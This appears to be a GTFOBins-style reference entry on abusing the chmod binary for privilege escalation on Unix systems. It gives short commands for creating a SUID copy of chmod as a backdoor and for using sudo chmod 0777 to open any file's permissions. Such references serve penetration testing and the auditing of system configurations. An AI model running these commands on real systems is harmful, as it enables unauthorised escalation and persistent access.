.. / chmod

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• SUID
• Sudo

This can be run with elevated privileges to change permissions and then read, write, or execute a file.

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

• sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
  
  LFILE=file_to_change
  ./chmod 0777 $LFILE

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• LFILE=file_to_change
  sudo chmod 0777 $LFILE